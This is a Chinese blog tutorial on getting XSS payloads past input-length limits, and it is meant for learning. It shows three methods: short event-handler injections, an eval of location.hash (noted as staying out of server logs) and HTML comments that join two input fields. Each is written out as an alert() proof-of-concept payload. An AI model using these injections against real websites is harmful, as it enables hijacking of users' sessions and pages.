XSS 绕过长度限制的一些小技巧

xss绕过,payload全集 XSS总结:        xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的可以观看一下csdn上明智讲的关于XSS攻击及原理。https://edu.youkuaiyun.com/course/detail/8585里面的修复原理和补丁代码讲的还是很详细的,他的课程还有利用xss获取cookie等。<img src=x onerror=alert(1)&... 阅读详情
AI摘要

本文探讨了在XSS攻击中如何绕过服务端的长度限制,通过使用事件触发、location.hash特性和HTML注释等技巧,实现有效载荷的注入。详细介绍了三种绕过方法,帮助理解防御和攻击策略。

前言

很多时候,产生XSS的地方会有变量的长度限制,  这个限制可能是来自服务端的处理结果。

 

案例

假设下面的代码存在一个XSS漏洞:

<input type="text" value="$VAR" />

服务端如果对输出的变量 $var 做了严格的长度限制,  那么攻击者可能这样构造xss payload:

$var:

"> <script>alert(/xss/)</script> //

希望达到的效果是:

<input type="text" value=""> <script>alert(/xss/)</script> // "/>

假设长度限制为20个字节,  则这段XSS会被切割为:

"> <script>alert(/xs

连一个完整的函数都无法写完,  XSS攻击可能无法成功,  那么是不是就万事大吉了?

答案是否定的。

 

绕过一

攻击者可以利用事件(Event)来缩短所需的字节数:

" onclick=alert(1) //

刚好20个字节,  实际输出为:

<input type="text" value="" onclick=alert(1) //"/>

当用户点击文本框后就会执行alert

 

绕过二

但利用"事件标签"能够缩短的字节数是有限的,  最好的办法是把XSS Payload 写到别处,  再通过简短的代码加载这段XSS Payload。

最常用的一个"藏身处"就是 "location.hash"。


  • location.hash

hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。

实例

返回一个 URL 的主要部分。假设当前的 URL 是 http://www.runoob.com/test.htm#PART2:

document.write(location.hash);

以上实例输出结果:

#part2


并且根据HTTP协议,  location.hash的内容不会在HTTP包中发送,  所以服务端的Web日志中并不会记录下location.hash的内容,  从而也更好地隐藏了黑客的真实意图。

构造的xss payload为:

" onclick="eval(location.hash.substr(1))

总共是40个字节,  输出后的HTML是:

<input type="text" value="" onclick="eval(location.hash.substr(1))" />

因为 "location.hash" 的第一个字符是 #, 所以必须去除第一个字符才行, 此时构造出的XSS URL为:

http://ww.a.com/test.html#alert(1)

当用户点击 "location.hash"里的alert(1)就会执行了。

 "location.hash"本身并没有长度限制,  但是浏览器的地址栏是有长度限制的,  不过这个长度已经足够写很长的XSS Payload了,  要是地址栏长度也不够用,  还可以再使用加载远程JS的方法来写更多的代码。

 

绕过三

某些环境下,  可以利用注释符绕过长度限制。

比如我们能够控制两个文本框,  第二个文本框允许写入更多的字符。此时利用HTML的注释符号,  把两个文本框之间的HTML代码全部注释掉,  从而"打通" 两个input标签。

原HTML:

<input id=1 type="text" value="$var1" />

<input id=2 type="text" value="$var2" />

在第一个input框中输入:

"> <!--

在第二个input框中输入:

--> <script>alert(1)</script>

最终的效果是:

<input id=1 type="text" value=""> <!-- />

<input id=2 type="text" value="--> <script>alert(1)</script>" />

中间的红色部分代码全部被注释掉了。

Cadence PCB仿真使用Allegro PCB SI S参数配置方法图文教程 S参数即S-Parameter是指散射参数,描述信号在传输线中的正反向传输和正反向反射的情况。本文讲述在使用Allegro PCB SI进行信号完整性仿真前,S参数的配置方法。 阅读详情

相关推荐

5分钟搞定单细胞marker基因气泡图:scDotPlot保姆级教程(含Seurat适配)

本文提供了一份详细的scDotPlot R包使用教程,帮助用户在5分钟内完成单细胞marker基因气泡图的绘制。教程涵盖环境准备、Seurat和SingleCellExperiment对象的适配处理、进阶可视化技巧及自动化报告生成,特别适合生物信息学新手和临床研究者快速掌握这一高效的可视化工具。

weixin_29047545的博客 260

xss绕过代码后端长度限制的方法

通过查看日志的源代码发现其实脚本标签是可以插入的,只不过没有办法写入完整代码,但是最为重要的一个因素在于,这里所插入的代码都是显示在同一个页面的。一般来讲程序对于输入字符长度进行限制的方法主要分两种,一种是前端的长度限制,这种的绕过只需要修改前端源码即可,或者本地构造一个表单。这里顺序的问题是因为程序的数据是从后往前显示,咱们输入的顺序是反的但是在页面显示的时候顺序是正常的。最终通过注释符与代码之间的拼接成功的插入了完整的XSS代码。这篇文章是我近期在审计一套 CMS 的时候顺便写的。

aihua002的博客 697

电力电子新手必看:COT控制模式的工作原理与典型应用场景解析

本文深入解析了COT控制模式的工作原理及其在电力电子领域的典型应用。COT控制(恒定导通时间控制)通过固定导通时间机制,解决了传统滞环控制的问题,特别适用于需要快速瞬态响应和高效率的应用场景,如CPU/GPU供电和便携设备电源管理。文章详细介绍了COT控制的核心流程、技术特点及设计实践中的关键考量,帮助电力电子新手快速掌握这一技术。

weixin_30745553的博客 520

输入框长度在XSS测试中如何绕过字符长度限制

而当我访问目标范围内的第二个域名,试图用我的电子邮件注册新帐户时,被告知:用户已经注册,请登录。大家好,这是我编写的第一篇文章,之所以会分享这个故事,是因为我花了几个晚上的时间,终于找到了解决某个问题的方法。而在最后5天里,出于对金钱的渴望,我告诉自己必须在整个项目结束之前再找到一些漏洞,因此我又从头开始梳理整个目标。几个月前,我被邀请参加一个非公共的漏洞悬赏项目,在初期发现了一些漏洞后,就再无收获。接下来,我开始探究如何窃取cookie,因为危害越大,奖励越高。,而转折就发生在我去创建一个新的帐户时。

技术超强的网络安全平台 1134

【论文精读】Formal Mathematical Reasoning: A New Frontier in AI

注:本文根据师兄汇报内容总结。

m0_60634555的博客 1188

掌握C++新特性中智能指针的综合指南

本文是一篇关于C++中智能指针的综合指南,旨在深入探讨现代内存管理的核心概念和技术。智能指针是C++中一种强大的工具,可以帮助开发人员更安全、高效地管理内存资源。通过详细解析各种类型的智能指针,包括unique_ptr、shared_ptr和weak_ptr,读者将了解它们的原理、用法和适用场景。本文将重点介绍智能指针的优势,如自动内存释放、避免内存泄漏和循环引用等问题。此外,还将讨论智能指针与传统指针的区别,并提供一些最佳实践和实用技巧,帮助读者在实际项目中正确、高效地使用智能指针。

Lion_Long的博客 1199

(27)【xss绕过】一般测试步骤、绕过方法:触发事件、干扰、编码……

【XSS绕过-合集】

9515

若依框架二次开发——若依 Vue3 版本前端样式优化指南

若依框架二次开发——若依 Vue3 版本前端样式优化指南

bjzhang75的博客 1690

白帽子阅读笔记——XSS

XSS跨站脚本攻击有三种类型: 1.反射型XSS:反射型XSS只是简单把用户输入的数据“反射”给浏览器,也就是说,黑客需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫做“非持久型XSS”(Non-persistent XSS) 2.存储型XSS,存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性; 如:黑客写下一篇包含恶意JavaScript代码的博...

gam0n的博客 443

【20260309】【亲测可用】【异常】Get https://registry-1.docker.io/v2/: net/http: request canceled

【异常】Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection。

奶爸的编程之路,也就一周冷个三天 2万+

基于 Qt C++ 的 2D 动画制作工具

你可以修改它的中心坐标 (X, Y)、宽度 (W)、高度 (H),或点击 "选择颜色" 按钮改变其填充色。* **图形视图 (`QGraphicsView` 和 `QGraphicsScene`)**: 用于显示和编辑当前帧的内容。

寒寒豆豆软件公司的博客 111

XSS | XSS 常用语句以及绕过思路

以确保文本在不同系统之间可以无差错的转换和显示。由于 ASCII 码已经广泛使用并且很好地满足了英文字符的编码需求,Unicode 在设计时决定保留 ASCII 编码的字符集,并将其作为 Unicode 编码的一个子集。因此,

Blue17 の 小窝 9122

单片机:实现MPU6050的卡尔曼滤波算法(附完整源码)

单片机:实现MPU6050的卡尔曼滤波算法(附完整源码)

希望我的博客,能帮上你解决学习中工作中所遇到的问题 795

在XSS测试中如何绕过字符长度限制

大家好,这是我编写的第一篇文章,之所以会分享这个故事,是因为我花了几个晚上的时间,终于找到了解决某个问题的方法。故事如下: 几个月前,我被邀请参加一个非公共的漏洞悬赏项目,在初期发现了一些漏洞后,就再无收获。 而在最后5天里,出于对金钱的渴望,我告诉自己必须在整个项目结束之前再找到一些漏洞,因此我又从头开始梳理整个目标。 这个目标是一个大型的社交网络,而转折就发生在我去创建一个新的帐户时。 当我...

NOSEC2019的博客 1493

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

在XSS测试中如何绕过字符长度限制(续)

在以前的NOSEC文章中,曾发布过一个在20个字符限制下进行XSS攻击(引入外界XSS脚本)的文章(https://nosec.org/home/detail/3206.html)。而本文作者对其中原理进行深入了研究,找到了更多相关payload。 跨站脚本(XSS)是在Web渗透测试中发现的最常见的漏洞之一。但是,根据注入点的位置不同,对攻击字符可能会存在各种限制。而在这篇文章中,将展示利...

NOSEC2019的博客 1570

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

绕过XSS过滤姿势总结

click me</a> //a标签伪协议执行base64,这里跟着base64之后的js代码">click here

wyb17870531028的博客 1838

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

存储型XSS(Stored)DVWA全等级绕过方法

dvwa_存储型XSS全等级演示一、low级别绕过前端限制,修改输入长度二、Medium级别三、High级别四、dvwa_impossible分析 一、low级别 打开dvwa靶场,将等级设置为low,选中XSS(Stored) 这里有一个很明显的特征就是表单,遇到这种情况最好每个表单都输入内容,即XSS测试语句 先查看源码(View Source): <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message =

4592

xss绕过字符过滤_在XSS测试中如何绕过字符长度限制(续)

在以前的NOSEC文章中,曾发布过一个在20个字符限制下进行XSS攻击(引入外界XSS脚本)的文章(https://nosec.org/home/detail/3206.html)。而本文作者对其中原理进行深入了研究,找到了更多相关payload。跨站脚本(XSS)是在Web渗透测试中发现的最常见的漏洞之一。但是,根据注入点的位置不同,对攻击字符可能会存在各种限制。而在这篇文章中,将展示利用uni...

weixin_29103027的博客 272

【无标题】xss短域名绕过字符长度限制以及执行弹窗的原理

XSS短域名绕过及弹窗的原理

m0_52813136的博客 1031

(可以绕过只能填20字符的限制了)输入框长度在XSS测试中如何绕过字符长度限制

大家好,这是我编写的第一篇文章,之所以会分享这个故事,是因为我花了几个晚上的时间,终于找到了解决某个问题的方法。故事如下:几个月前,我被邀请参加一个非公共的漏洞悬赏项目,在初期发现了一些漏洞后,就再无收获。而在最后5天里,出于对金钱的渴望,我告诉自己必须在整个项目结束之前再找到一些漏洞,因此我又从头开始梳理整个目标。这个目标是一个大型的社交网络,而转折就发生在我去创建一个新的帐户时。当我在用户名处输入一个XSS的payload时,特殊字符全不能输入,而且长度限制为20个字符。此时,我没有太好的办法,只能去寻

weixin_50464560的博客 3021

xss相关知识点与绕过思路总结

xss的一些绕过思路总结

2302_79590880的博客 926

输入框长度_在XSS测试中如何绕过字符长度限制

大家好,这是我编写的第一篇文章,之所以会分享这个故事,是因为我花了几个晚上的时间,终于找到了解决某个问题的方法。故事如下:几个月前,我被邀请参加一个非公共的漏洞悬赏项目,在初期发现了一些漏洞后,就再无收获。而在最后5天里,出于对金钱的渴望,我告诉自己必须在整个项目结束之前再找到一些漏洞,因此我又从头开始梳理整个目标。这个目标是一个大型的社交网络,而转折就发生在我去创建一个新的帐户时。当我在用户名处...

weixin_34868242的博客 414

XSS过滤绕过

目录过滤测试示例输入在script标签中非常规的事件监听HREF内容可控变换JavaScript变换Vbscript变换输入在属性里JSONSVG标签浏览器bug常见标签利用link远程包含js文件javascript伪协议属性payload常用的payload各种alert伪协议Chrome XSS auditor bypass长度限制jquery sourceMappingURL图片名过期的payloadcssmarkdowniframeformmeta绕过过滤空格大小写混淆双写绕过字符拼接编码绕过编码

qq_39654116的博客 6169

XSS绕过长度限制的两个Tips

0x00 使用outerHTML<img src onerror=outerHTML=URL>利用了outerHTML和URL(这里的URL是document.URL),将要执行的JS放在url中,从而突破长度限制。使用document.URL构造XSS执行JS。 实例:<?php echo "keywords is:" . substr($_GET['k'], 0, 35); ?>提交URL:h

Exploit的小站~ 7094
上一篇: bWAPP XSS
下一篇: bWAPP -- INSECURE DIRECT OBJECT REFERENCES
angry_program
博客等级 码龄9年 197粉丝 109原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值